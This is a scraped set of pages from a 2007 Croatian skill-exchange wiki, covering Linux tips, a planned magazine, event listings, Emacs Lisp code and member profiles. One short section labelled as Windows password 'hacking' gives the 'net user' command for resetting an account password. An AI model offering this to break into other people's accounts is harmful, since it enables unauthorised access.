"Morrowind vs Oblivion"<http://www.youtube.com/watch?v=3uUjyk44180>

"Ping Pong"<http://www.youtube.com/watch?v=Yhcv7f-gTD4>

"GTA 3"<http://www.youtube.com/watch?v=sRpmDk-96yc>

"RobotDance"<http://www.youtube.com/watch?v=QdOX6nihPo4>

"ล oping lijeฤi sve"<http://www.youtube.com/watch?v=hkTlEcJAGuA>

"Double Barrel Prayer"<http://www.youtube.com/watch?v=9T29Lqpi2RQ>

"Bruce Lee Forever"<http://www.youtube.com/watch?v=cKAeyUS91I8>

"Uskoro na G33koSkopu"<http://www.youtube.com/watch?v=m3WQZXiYLbg>

"Turski Star Wars"<http://video.google.com/videoplay?docid=-7069307816427160377&q=turkish+star+wars&total=175&start=0&num=10&so=0&type=search&plindex=1>

"Aksak Maboul presents"<http://www.youtube.com/watch?v=UdWMzMYCKZw&feature=related>

"Overkloking (svake srijede nova epizoda)"<http://www.net.hr/webcafe/matakovic/page/2007/12/12/0313006.html>

"Overkloking (svake srijede nova epizoda)"<http://www.net.hr/webcafe/matakovic/page/2007/12/12/0313006.html>

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/NuclearDebat/NuclearDebatNudi> {date: 2007-12-14 16:06:51 +0100}
^ U zmajevom gnezdu

[[HTML( )]]

----

NEW!!! Bye Google, vidimo se u subotu! :-)

ej ekipa! pozdrav iz gugleta! vidimo se za ~mjesec dana. aj zivili.

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/KleMo> {date: 2007-11-21 15:33:58 +0100}
----

[CroPuppian] nudi:_ http://www.murga-linux.com/puppy/images/icons/icon17.gif

1) Brzo pokretanje/instalaciju Puppy Linux-a na racunalo s instaliranim MS Windows, KUBUNTU, SUSE, MANDRIVA ili GENTOO bez reparticioniranja disk-a i promjene Master Boot Record-a.
Jos jednom, nije potrebno imati cistu praznu particiju.

2) Instalaciju Puppy Linux-a na USB

3) Prvo povezivanje Puppy Linux racunala na internet i LAN. Naravno, naravno ...tu je ukljuceno i spajanje dva racunala od kojih je jedno Puppy, a drugo birajte...

4) Instalaciju Grub-a na CD i uspostavljanje Multiboot-a s MS Windows-om opet bez remecenja MS Windows instalacije.

5) Za prelaznike s MS Windowsa demonstraciju efikasnosti Puppy Linux-a na djelu (Rox fm, Seamonkey, Gaim, Gnumeric, Inklite....)

6) Puppy kao svicarski nozic (particioniranje, grub, back up, antivirusno ciscenje s fprot-om ......)

7) [PuppyMatricaVjestina] zamisljena je kao zbirka vjestina kojima trebaju ovladati ili su vec ovladali buduci Puppy/Linux korisnici). Ona se u sustini temelji i na opcim vjestinama pri koristenju software-a otvorenog koda. Ne plasite se spoznaje o vasoj trenutnoj razini znanja. Ionako su ovako svi poceli....

* Ne znam instalirati niti jednu Linux distribuciju
* I pod "MS Windows" tesko mi je po prvi put spojiti se na internet
* U primjeni imam par programa slobodnog koda. Pod "MS Windows" ne razlikujem shareware od programa slobodnog koda
* Internet Explorer jedini mi je poznati Internet preglednik
* Znam znam... Da bi koristio Linux moram znati iskompajlirati kernel, a ja to sigurno ne mogu.

 Pa jedva sam pobjegao od DOS promta ;)

Rijesite se kompleksa i krenite na Puppy putovanje preko [PuppyMatricaVjestina].

8) [RazmjenjivaciPitaju]

^^^ [!!!....da, da moลพe brลพe i od Knoppixa.... !!!]

^^^ [!!!....i prijatel' pa ne trebas za pocetak ni komandnu liniju !!!]

^^^ [!!!....i ukloni cd/dvd iz ladice i nastavi gledati film, slusati kolekciju.... !!!]

"KLIKNI_ZA_ANTIPOMOC"<http://www.tuxfiles.org/linuxhelp/altview.html> http://www.divetech.net/img/icon/first_aid_80.jpg

<http://www.razmjenavjestina.org/[RazmjenjivaciVjestina]/[DrGspot]/[HrLinuxMag>]

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian/CroPuppianNudi> {date: 2007-10-21 12:09:06 +0200}
nadimak: horza
fqdn: Davor . Grubiลกa . Zagreb . Croatia . Europe . Earth
status: razmjenjivaฤ-outsider od 2006.
e-mail: nadimak@nadimak.info
weblog: {weblog: http://www.horza.info }

----

^^ Ponuda i potraลพnja

{include: [horzanudi]}

{include: [horzatrazi]}

----

^^ Isjeฤak s bloga

{fetchrss: http://www.horza.info/index2.php?option=ds-syndicate&version=2&feed_id=2 full}

----

{tag_list: horza}
Nudim:

- programiranje opcenito

- lisp(ovi)

- konfiguracija i koristenje emacsa

- malo gentoo-a

Trazim:

- svasta o mrezama

- konfiguriranje xorga

- zanimljive open source projekte


Projekti:

[LinuxDistribucijaRazmjeneVjestina]


[EmacsWorkTimeCounter]


[BufferOverflow]

[SvakodnevneDovitljivostiOneLineri]



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA> {date: 2007-12-05 10:19:22 +0100}
KreSoNudi

KreSoTrazi


----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/KreSo> {date: 2007-11-24 15:53:18 +0100}
Puppylinux zanimljiva je mala distra...

croPuppyjan



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/HrLinuxMag/PuppyLinux> {date: 2007-10-20 16:24:00 +0200}

^^ [HrLinuxMag]


disclaimer (sve je ovo samo sala v 0.1)

ideja je da novi HrLinux casopis bude profiliran kao podskup koncepata i tipova clanaka iz:

"04 Magazina za hackiranje stvarnosti"

http://04zine.org/
http://04zine.org/index.php?page=category&cat_id=27

"Alter format"
http://www.elektronika.name/alter/

"GNUzilla"
http://www.gnuzilla.info/

"Linux Gazette"
http://linuxgazette.net/

"Warp" ex papiranti amiga magazine

"Amiga Storm" -lha archive amiga e-zine
http://www.aminet.net/search.php?query=amigastorm

a i jednim dijelom profesionalizma koji nude komercijalni casopisi sa linux rubrikama "Mreza" "PC Chip" "Vidi" "Bug" ??

-naglasak na alternative, pa i retro computingu, pa i HW recyclingu

-format preklopljeni A# -- zapoceti kao bilten ?

--disketa 1,4 MB -- gledanje i na starijim racunalima bez CD-Rom-a ?;  preRadikalno -- to samo onDemand

-web -- za ljude koje fizicka udaljenost ili financije sprjecavaju u kupnji (ako uopce komercijalan)

-rubrika za pocetnike

-Amiga rubrika -- ne nego Amigom se baviti u rubrici HW

-interview-i -- sa osobama iz domace i strane FLOSS scene

-pisma citalaca -- over e-mail ?

-tutoriali

-obavijesti o eventovima vezanim za Linux

-recenzije distribucija

-koristiti otvorene standarde: txt/ascii, html, png, jpg(?), ogg vorbis (audio i video), tamtam ([tiddly]wiki ?)

-za slijepe (ogg), za gluhe (ev audio stream pretvoren u txt (prof Arun Mehta)), za slabovidne (veliki font 14 ili 18 -- znachi mora prijelom, u tom dijelu)

-da li ici u nekomercijalnu/aktivisticku ili profitnu varijantu...?

-ne se sramiti uzimati iz drugih izvora koji zele dijeleti -- vezano na Licencu: GNU FDL/GPL, Creative Commons (imenovanje dijeli pod istim uvjetima-neka prava pridrzana) ili vla$nicka licenca - izbjeci kolizije

-nikako ne "yet another winTel" pa chak ni "linTel magazine"
----
-------
----

^^^ [HrLinuxMag]

----
------
----
{image: tux.jpg}
----
---
----
br. 1

[UvodnikUrednika1]

Interview: PredSjedik HULK-a

Vijesti: [HrVatska] presla na Open Source Free software

Linux NaKon 10 god

Za pocetnike: Sto je LiNux

Distribucije: DebIan GNU/Linux

Linux na desktopu: UbuNtu

Linux na posluzitelju: suSE Linux EnterPrise Server 9

Hardware: [AmigaONE] G3/G4

Uvod u programiranje: TzE

Oldies: SuSE 6.1 Pro

KaLendar zbivanja: Hr i Slo

----
----------------
----
br. 2

UvodnikUrednika2

Interview: voditelj net.kulturnog kluba [mama]

Vijesti: 
PaTenti: Pad vla$nickog $oftware-a

(cini se da ce ono za sto se oduvjek mislilo da osigurat buducnost vlanickog $oftware-a, biti sjeme njegovog nestanka...)

Za pocetnike: InstaLacija

Distrokutak: RedHat

Linux na desktopu: Mandrake (ManDriva)

Linux na posluzitelju: GenToo

Hardware: Silicon Graphics InDigo2 (MIPS R10000) & PS2

Uvod u programiranje: PyThon

Oldies: Slackware

Edukacija u Hr: DIY ili CertiFikati ?

----
------
----
br. 3

UvodnikUrednika3

Interview: rms ?

Mind mapping: MenTalnim mapama do Projekata

Za pocetnike: Nakon LogIna

Distrokutak: dajne:BoLic

Linux na desktopu: Slax

Linux na posluzitelju: RedHatEnterprise Linux 3(4?)

Hardware: [PegasosPPC] G4

Uvod u programiranje: LiSp-ovi

Oldies: Debian 2.2

DTP na Open Source-u: ScriBus


----
-
----
br. 4

Distrokutak: [PuppyLinux]


Zene i Linux

----
-----
----
br. 5

Packet Radio: Jedina jezgra s podrskom za radiomatere

----
-------------
----
komentari:


----
--------------
----





----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/HrLinuxMag> {date: 2007-10-20 16:21:57 +0200}
==Linux toฤka(link)== 
kao prvo trebate imati: instaliran [PCLinuxOS] zatim dvije beลพiฤne kartice i to je to! Zapoฤinjemo sa linkom.
U PCLinuxu uฤ‘ite u konsole(konzolu). Za povezivanje na stalno jednu vezu upiลกite iwconfig ra0 essid naziv. Za prebacivanje beลพiฤne kartice u Master mod upiลกite iwconfig ath0 mode Master.Za promjenu essida nastale link mreลพe napiลกite naredbu iwconfig ath0 essid naziv .Za promijenu nicknamea upiลกite iwconfig ath0 nickname naziv.Na kraju vam joลก samo preostaje prebaciti datoteku router.sh na vaลกe raฤunalo.Za to ostavite svoj mail u komentarima i u roku od 24 sata ฤ‡e vam stiฤ‡i mail sa datotekom router.sh kada vam stigne ta datoteka spremite je u raฤunalo (preporuฤam u tmp) zatim otvorite tu datoteku to se radi tako da se upiลกe naredba cd /tmp/ zatim kada ste otvorili tmp upiลกite ./router.sh.Napomene:Ako imate ralinkovu beลพiฤnu karticu upiลกite ra0, a ako imate tp-linkovu beลพiฤnu karticu upiลกite ath0.Na kraju naredba piลกe naziv umjesto toga upiลกite ime mreลพe na koju se ลพelite spojiti ili koja ฤ‡e drugi ljudi hvatat kako bi se spojili ne internet.

==Hackiranje passworda na windowsima==
Start-Run-cmd
net user
net user korisniฤkoime *

Napiลกite lozinku dva puta i gotovo
*Napomena: odvojite lozinke enterom





----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/LjuBo/LjuboNudi> {date: 2007-09-26 13:14:24 +0200}
[BudNudi]

[BudTrazi]

-
----

Moja pitanja:

[[PageList(BuDPitanje(.+))]]

#[BuDPitanjEDebiaNBooTParticijiAKenjazA]

#[BuDPitanjeUbuntUCleanInstall]

#[BuDPitanjeXubuntuInstall]

#[BuDPitanjEBasHBojicE]

#[BuDPitanjePromjenaRezolucijeUXorgConfu]

#[BuDPitanjeUbuntuCoreutilsGentooPatch]

#[BuDPitanjeGrepColorHighlight]

#[BuDPitanjeMplayerIScreensaver]

#[BuDPitanjeKompajliranjeKernelaNaUbuntu]

-
----

Moji odgovori:

[MarcellMarsPitanjePromjenaTastatureUXima]

-
----

[BudNapomene]

-
----

[BudPodsjetnik]

-
----

[MojSajt]

-
----

Svakodnevne dovitljivosti:

[[PageList(BuDSvakodnevneDovitljivosti(.+))]]

#[BuDSvakodnevneDovitljivostiWifiAccessPointURuksaku]

#[BuDSvakodnevneDovitljivostiMrezneLediceUvijekIspredNosa]

#[BuDSvakodnevneDovitljivostiUsbPez]

#[BuDSvakodnevneDovitljivostiUsbMis]

#[BuDSvakodnevneDovitljivostiLaserSpotCam]

#[BuDSvakodnevneDovitljivostiLaptopCooler]

#[BuDSvakodnevneDovitljivostiHddSpeakerS]

#[BuDSvakodnevneDovitljivostiLinuxSekretarica]

#[BuDSvakodnevneDovitljivostiPlastiฤniStalakZaBajs]

#[BuDSvakodnevneDovitljivostiOdmagnetiziranjeMonitora]

#[BuDSvakodnevneDovitljivostiJeftinaPodlogaZaMiลก]

#[BuDSvakodnevneDovitljivostiฤŒiลกฤenjeTipkovnice]

#[BuDSvakodnevneDovitljivostiPopravljanjeMrtvogPixela]

#[BuDSvakodnevneDovitljivostiฤŒiลกฤenjeCdMedija]

#[BuDSvakodnevneDovitljivostiFloppyNotes]

#[BuDSvakodnevneDovitljivostiPrijenosniUsbPunjaฤ]

#[BuDSvakodnevneDovitljivostiTicTacLampica]

#[BuDSvakodnevneDovitljivostiPopravakDaljinca]

#[BuDSvakodnevneDovitljivostiG33kManลพete]

#[BuDSvakodnevneDovitljivostiKlimaKuฤ‡neIzrade]

#[BuDSvakodnevneDovitljivostiLampaOdCd]-a

-
----

"MojeFotke"<http://www.flickr.com/photos/59783238@N00/>

-
----

kontakt: bud@ubuntu-hr.org

webovi: 

.pre
http://bud.bljak.org

     http://gallery.bud.bljak.org
.pre
























































































----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/BuD> {date: 2007-09-06 12:31:14 +0200}
eventCalendar3

International Lisp Conference
1.4.2007.
Cambridge, UK
http://www.international-lisp-conference.org/2007/index
----
---------------------------------------
----
Konferencija "Web.Start"
17.-18.05.2007.
Novinarski Dom, Zagreb, Cro

http://webstart.ini.hr/
----
-----------------------------------------
----
3. Open Source Konferencija: "Bite-On Security!
19.-20.05.2007., 10:00-18:00
Europski dom - Juriลกiฤ‡eva 2, Zagreb, Cro
Dvorana "Bruxelles"

http://otvorenikod.org/
----
------------------------------------------
----
YAXWE - Yet Another Xacktogether of West & East
...a hacker camp in ex-military base in pula (istria), adriatic coast, croatia, (? may 2007 ?)
! seli u IX mjesec !
http://yaxwe.org/
----
---------------------------------------
----
{Linux u Hrvata "Open Source"
(9.-10.06.2006.) Zagrebacki Velesajam, Zg, Cro}
vidi: Bite On Security gore
----
----------------------------------------
----
trans{cultural/national}HackMeeting 2,   15.-17.06.2007., .Oslo, Norway
http://www1.autistici.org/thk/doku.php
----
--------------------------------------
----
Creative Commons Conference == ICommons Summit
Dubrovnik, Cro, 15.-17.06.2007.
http://icommons.org/
----
-------------------------
----
Amiga Alpe Adria Show/Codex/0xAA
6.-8.7.2007. Udine, Italy
http://0xaa.org/
People, Diversity, Creativity and Excellence
Topics:	Code for fun, code for work, computing trends, melting pot of people, excellence...; Technology: Code, diversity, classic computing, emulation...
Humans: Developers, sceners, enthusiasts, resources for developers, new friends, old friends...
----
------------------------
----
eclecticTechCarnival (zhenski hackMeeting/razmjena)
11.-15.07.2007; in Linz, Austria
http://eclectictechcarnival.org/
----
-------------------------------
----
Chaos Communication Camp 2007
cca 45oo hackers, g33ks, nerds, digital rebels, ...
8.-12.08.2007., Berlin, Germany
http://events.ccc.de/camp/2007/Home
----
-----------------------------------
----
YAPC -- Yet Another Perl Conference
28.-30.08.2007.
Vienna, Austria
http://vienna.yapceurope.org/ye2007/
----
----------------------------
----
YAXWE - Yet Another Xacktogether of West & East
...a hacker camp in ex-military base in pula (istria), adriatic coast, croatia, 
 doSelio iz V.mjeseca
14.-16.09.2007. 
http://yaxwe.org/
----
-----------
----
Zagreb Radio Fest - Amateur Radio Fair

Packet Radio, digital modes, WiFi, equipment, antenas, podjela nagrada za kratkovalna i VHF/UHF (9A CW contest 2006, Hrvatski radioamaterski kup 2007) natjecanja, predavanja, okrugli stolovi, ...

8.9.2007. Dom Tehnike jezero Jarun, Zg, Cro

http://hamradio.hr/

http://rkz.hr/ZRF2007/zrf2007.html
----
------------------------
----
IBM {Linux} Forum
{19.-21.09}. Umag/Rovinj, Cro

http://www-05.ibm.com/hr/forum/agenda/

http://ibm.hr

http://www.ibm.com/hr/

http://www-5.ibm.com/hr/forum/

http://www-05.ibm.com/hr/forum2007/

----
--------------------
----
 Hi Fi Show
(23.09.2006.)  Zg, Cro

 ? 19.-21.10.2007 ?

Multimedia Hi Fi Show Croatia

The Movie Hotel, Zagreb, savska 141 ili sheraton ili WestIn (ex. Opera, Intercontinental Zagreb)

----
------------------
----
IBLOC, Linux Conference
27.-28.09.2007., Portoroz, Slovenia
http://www.linux-konferenca.org/
http://www.ibloc.si/
----
-----------------------
----
Oracle Linux Day, u sklopu:
HrOUG Conference
16.-20.10.2007.
Rovinj, Cro
http://www.hroug.hr
----
------------------------------------------------
----
{Kiblix, International Linux IT Festival/Linux Install Fest
(27. in 28. oktober 2006), Maribor Slovenia }
http://www.kibla.org/index.php?id=26
----
----------------------------------
----
Hrvatska Udruga Linux Korisnika na "Info Dani"-ma
(07.-11.11.2006 )
Zagrebacki Velesajan, Zg, Cro
http://www.linux.hr/modules/news/
----
------------------------------------
----
CARNet Users Conference
19.-21.11.2007. Rijeka, Cro
http://www.carnet.hr/CUC/
----
----------------------------
----
Sloboda Stvaralastvu
(22.-27. sijecnja 2007.) Zg, Cro
http://www.slobodastvaralastvu.net/
----
-------------------------------------
----
GNU/Linux Install Fest
24.02.2007.
KSET, FER
Multimedijalni Institut, MaMa, razmjena vjestina, IEEE sekcija
http://www.kset.org/
----
--------------------------------------
----
{Vlasnistvo } moje tvoje nashe
(1.4.03.2007.), Rijeka, Cro
http://www.drugo-more.hr/wordpress/programi/tranzicija-na-periferiji/moje-tvoje-nase/moje-tvoje-nase-2007/program-moje-tvoje-nase/
----
------------------------
----
Linux Dan 5
(23.3.2007.)
Zagreb, Cro
http://www.housing.hr/
----
---------------------
----
Ubuntu-Hr Linux Conference
(31.3.2007, Zagreb, Cro).
http://ubuntu-hr.org/konferencija/
http://ubuntu-hr.org/
? 2008. Ljubljana, Slovenia ?
----
------------------------
----
AnarhoFeministicki Fest
13.-15.04.2oo7.
http://anfemafest.tk/
----
----------------
----
Dani otvorenih racunarskih sustava / Konvencija Linux korisnika 2007
DORS/CLUC 2007
"Open Source at The Gates", 18-20.4.2007., Zagreb, Cro
http://www.open.hr/dc2007/program.php
----
-----------------------------------------------------
----
Operacija grad: Jedinstvo, otvaranje Privremenog ilegalnog centra za kulturu i mlade
Od 26. do 29. travnja 2007
http://jedinstvo.info
----
-----------------
----
_____________________
od__.-__.__.2008
u ___________________
http://___._________.__
----
-----------------------------
----











----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/EventCalendar3> {date: 2007-09-06 12:18:14 +0200}
HASH(0x89d6fa0)

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/NuclearDebat/NuclearDebatTraลพi> {date: 2007-09-05 08:42:36 +0200}
teme za yaxwe:
 
amiga--comunity, Demo Scene, new hw [AmigaONE] Dual G4, [PegasosPPC] G4, ACK SW ctrls 64-bit DualCore AmigaNG, Open Source spillOff, AmigaOS 4.0, [MorphOS], AROS, ...howtoStart

gnu/linux--comunity, Project(GNU), Movement (Pokret), snimanje LiveCDdistri, multiBoot CleanInstalls, gnuFeminizam, cyberFeminizam, linux the only OSkernel with hamRadio supporthowtoStart, how to live of free sw, 
linux education: self study vs. certification, Linux Conferences (Open Source & Free Software), hacking (not cracking !), g33k subcultura,...


hamRadio(radioAmaterizam)--comunity, BroadCastListening, ShortWaveListening, QRP (<5W transmisions), ARG, konstruktorstvo, packet radio, amateurradio licence: a legal frame for >100 mW WiFi, 3-3oMHz shortWave World @ your Morse radioTelegraph key-.-.--.-, 
VHF(144-146MHz/2m), UHF(43o-44oMHz/7ocm), 1,2GHz(23cm), 2,4GHz, 5GHz, 10GHz, 24GHz,.........248 GHz use that band @ <=1oooW !
LowPowerDevice(<=10mW@433MHz), PersonalMobileRadio Device (<=500 mW@446MHz), CitizenBand (<=2W/10W@27MHz) is 4 phoneing, howtoStart (localClubCourse, exam, licence, personal rig, radio shack...)

subMarines(podmornice)--Tom Clancy, Red Storm Rising, Hunt For The Red october, simulators, models, books, pictures, web sites, 

HiFi (audioPhilia)--headPhones (Grado, Stax electroStatic earSpeakers 380/5ooV, Sigma Design, Ergo, AKG,...), tube amps, ...

astronomy--basic Universe theorys, equipment (telescopes, )

open organize-ing/horizontal colaboration--tamTam"s, wiki-ies, mind mapping (freeMind, mindMap,...); howto-direct-ego-@-comunity-to-creativity, multidiciplinary community merge-ing, 
cross linking in IRC, javaChats, 4ums, blogs, mailing lists, 

amateur electronics--soldering(lemljenje), dicrete elements (resistors, capacitors, solenoids, diodes, tubes, transistors, integrated circuits, ...)

retro computing/hw recycling--Orao, Galaksija, Commodore-64, ZX Spectrum, Atari, classic computing, 8 bits Gold Age, demo scene, LuNiX NG (Linux 4 C-64 with TCP/IP & preemptive multitasking @ 1MHz in 50kB !)

gadgets--Psion Series 5/EpocOS/OpenPsion (preSymbian), Compaq IPAQ H37oo (OPIE/GnomePdaEnvironment)

photography--cameras, middleFormat, analogue b&w (chemical) & digital age,...

-open hardware ([AmigaONE] & [PegasosPPC])

women & tehnology/linux--

advocacy--technology fobias,...

atlas of cyberspace

gnuFeminism & cyberFeminism--how to pass the FLOSS knowledge and Project & Movement truth, without trying to date and throw sexist remarks to the woman next table, room, chatRoom,...

cyberspace in movies & art--Neuromancer, film perspective of a computer, network (Klaudijo @ V.G. :-))
----
------
----

not in form of a lecture, workshop, hands-on lab, round table, presentations...rather free style open & horizontal comunication...




----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/YaxweTemeDva> {date: 2007-09-01 20:53:24 +0200}
[DrGspotNudi]

[DrGspotTrazi]

[DrGspotLinkoviAlToTrebaSredit]

[DrGspotKnjigeCasopisi]

[DrGspotEventsCalendar]

[TrebaZaGentooPPCdemo]

[PosjecenostGore22]%

[RadioAmaterizam]

[AudioFilija]

[BackToRoots]

[RazmjenaPlanovi]

[SliKe]

[AmigaUserGroup]

[LinuxAdvocacy]

[OperacijaGrad]

[InformatickiKlubAlter]

[SalaMala]

[BlagiUvoduLinux]

[IvanovP120]

[FrameWorkZaIntro]

[MojPodsjetnik]

[MicroAmigaDemoParty]

[MyFinalFramework]

[PythonZaNokiu]

[ZeneLinux]

[TakoMiZao]

[EvoGamer]

[RazmjenaSlike]

[ZaFrontPage]

[HosteliRijeka]

[PodsjetnikRijeka]

[InstalaciJa]

[CuraPitala]

[OtisloUzCd]-e

[ZaG]

zadnjiIrcLog

[MuzejRacunala]

[ComunityMerge]

[EventsCalendar2]

[TransHackMeeting2]

[YaXwe]

[SmajLich]

[CyberFemManifest]

[YaxweTeme]

[AlterOs]

[HrLinuxMag]

[RazVacica17]

[ErrorNapad]?

[LeTakBilTen]

[ThkArhiva]

[Events14Educat4]

[AnnaIrcLogger]

[MiLi]

[NorveshkiHackMeet]

[ZashtoSempronSlow]

[AlterHw]

[PlayList]

[ProFit]

[PlaKatInstalFest]

[AtV]

[DyneArchs]

[EventCalendar3]

[KumuLativ]

[SevenOfNine]

[YaxweTemeDva]

--
----

haj, kak da stavim slike no teatra da uopฤ‡e skuลพe ljudi o ฤem se tu radi?? track

(ovo cemo otforkat u pitanja/odgovori kasnije)

slike stavish tako da udjesh u link npr. ImaGes

i onda koristechi sintaxu deklarirash npr:

{image: nazivslike.jpg}

posevjash i tamtam(wiki) razmjene ce ti otvorit requester za upload

nesto o sintaxi mozesh vidjet ovdje:

http://www.razmjenavjestina.org/[StandardiSuDobri]

kao i u "edit" prozoru:

Emphasis: _italics_; *bold*; `'bold italics`'; _mixed*bold* and italics_; ---- horizontal rule. 
Headings: 
^ Title 1
; 
^^ Title 2
; 
^^^ Title 3
; 
^^^^ Title 4
; 
^^^^^ Title 5
.
Lists: space and one of * bullets; 1., a., A., i., I. numbered items; 1.#n start numbering at n; space alone indents.
Links: JoinCapitalizedWords; [brackets and double quotes]; url; [url]; [url label]. 
Tables: || cell text |||| cell text spanning two columns ||; no trailing white space allowed after tables or titles.

---

Robi kaj brijeลก ti?

Aj sad kad si mi pobrisao cijeli sajt molil bi da mi kaลพeลก ลกto si to napravio pa da stvari mogu vratit nazad, tamo sam napisao neke vaลพne stvari, koje su mi ponekad i trebale no kao ลกto vidiลก sad ih viลกe nema. Dok koristiลก tamtam malo pripazi kaj radiลก, sorry kaj tebe optuลพujem, ali vidio sam da je zadnja izmjena na mom djelu napravaljena za vrijeme konferencije a tebe sam tamo vidio da nekaj ฤaฤkaลก po sajtu. 

-- [BuD] 

Nije mi stvarno bistro shto se dogodilo...
Naravno da ti je jasno da ti ne bi pobrisao cijeli sajt.
Jedna stvar koju sam primjetio, je da na dosta mjesta po sajtu ima josh tragova onog "deFacera" koji nam brishe po tamTam-u (tipa: "zajeb", "ti issa" is sl.

Jedina josh druga mogucnost bi bila da je netko od novih razmjenjivacha neshto zeznuo, ali za cut-nut cijeli branch, cudno mi je...

-- dGs








----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot> {date: 2007-09-01 20:48:25 +0200}
.pre
(setq *work-time-start* 8)
(setq *work-time-end* 16)

;(setq *work-day-dow-table* [nil (9 . (17 30)) (9 . (17 30)) (9 . (17 30)) (9 . (17 30)) (9 . (14 30)) nil])

(defun wt-dow-update-start-end nil
  (let ((beg-end (aref *work-day-dow-table* (nth 6 (decode-time (current-time))))))
    (if beg-end (setq *work-time-start* (car beg-end) *work-time-end* (cdr beg-end))
      (setq *work-time-start* 0 *work-time-end* 0))))

(setq *work-time-statuslen* 16)

(defmacro def-extract-if-list (name fun &optional ret)
  `(defun ,name (val)
     (if (listp val) (,fun val)
       ,(if ret ret 'val))))

(def-extract-if-list wt-hour first)
(def-extract-if-list wt-minutes second 0)

(defun work-time-update nil
  (when *work-day-dow-table* (wt-dow-update-start-end))
  (let* ((now (current-time))
	 (today (let ((dcd-now (decode-time now)))
		  `(,(nth 3 dcd-now) ,(nth 4 dcd-now) ,(nth 5 dcd-now))))
	 (start-time (apply #'encode-time (append (list 0 (wt-minutes *work-time-start*) (wt-hour *work-time-start*)) today)))
	 (end-time (apply #'encode-time (append (list 0 (wt-minutes *work-time-end*) (wt-hour *work-time-end*)) today))))
    (labels ((status-string-format (perc)
				   (cond ((< perc 0) ":(")
					 ((> perc 1) ":))")
					 (t (let* ((filled (round (* perc *work-time-statuslen*)))
						   (empty (- *work-time-statuslen* filled)))
					      (concat "[ (make-string filled ?#) (make-string empty ?\ ) ]")))))
	     (elapsed-percentage (from to now) (/ (float (- now from))(- to from)))
	     (total-sec (time) (+ (* 65536 (car time)) (cadr time))))
      (setq wt-status-string
	    (status-string-format
	     (elapsed-percentage (total-sec start-time) (total-sec end-time) (total-sec now)))))))

(push #'work-time-update display-time-hook)

;

(defun wt-status-displayed nil
  (member 'wt-status-string global-mode-string))

(defun wt-add-status nil
  (setq global-mode-string (append global-mode-string '(wt-status-string))))

(defun wt-remove-status nil
  (setq global-mode-string (remove 'wt-status-string global-mode-string)))

(defun work-time-status-toggle nil
  (interactive)
  (funcall (if (wt-status-displayed) #'wt-remove-status #'wt-add-status)))

;

(setq wt-status-string (work-time-update))
.pre






----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/EmacsWorkTimeCounter> {date: 2007-08-30 11:20:42 +0200}
http://twiki.fazan.org/bin/view/Hacklab/WebHome

http://twiki.pula.org/bin/view




----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/YaXwe/MonteParadiso> {date: 2007-07-30 21:27:35 +0200}
http://hackmeeting.org/

http://hackmeeting.org






----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/YaXwe/HackMeetingPisa> {date: 2007-07-30 21:24:08 +0200}
http://twiki.pula.org/cgi-bin/twiki/view/Transhackmeeting/WebHome



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/YaXwe/TransHackMeeting1> {date: 2007-07-30 21:22:40 +0200}
http://www.yaxwe.org



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/YaXwe/YaxWe> {date: 2007-07-30 21:21:35 +0200}
http://www1.autistici.org/thk/doku.php


----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/YaXwe/TransHackMeetingDva> {date: 2007-07-30 21:20:51 +0200}
KAKO NAMJESTITI T-COMOV USB ADSL MODEM KASDA BROADCOM ::.........,  NA SLACKWARE 10?????

Taj modem ujedno radi i preko etherneta, kupi UTP kabel spoji ga sa routerom i kompom instaliraj pakete za pppoe, pokreni pppoeconf i iskonfiguriraj konekciju, nakon toga pon za spajanje i poff za odspajanje. Pozdrav!

-- [BuD]

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/Rastafarix> {date: 2007-07-20 10:45:54 +0200}
[KaDaNudi]

[KaDaTrazi]

http://www.mojphoto.com/



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/KaDa> {date: 2007-07-14 20:52:19 +0200}
Posjetioce stranice, koja sad glasi www.mojphoto.com

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/KaDa/KaDaTrazi> {date: 2007-07-14 20:51:56 +0200}
None

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/IvanIno/IvanInoIma/MarcellMarsSvakodnevneDovitljivostiOstreFotkeDigitalnimFotoaparatomBezBlica> {date: 2007-05-20 23:35:14 +0200}
* Hoฤ‡e li multicore revolucija izazvati uruลกavanje softverskog eko sustava *


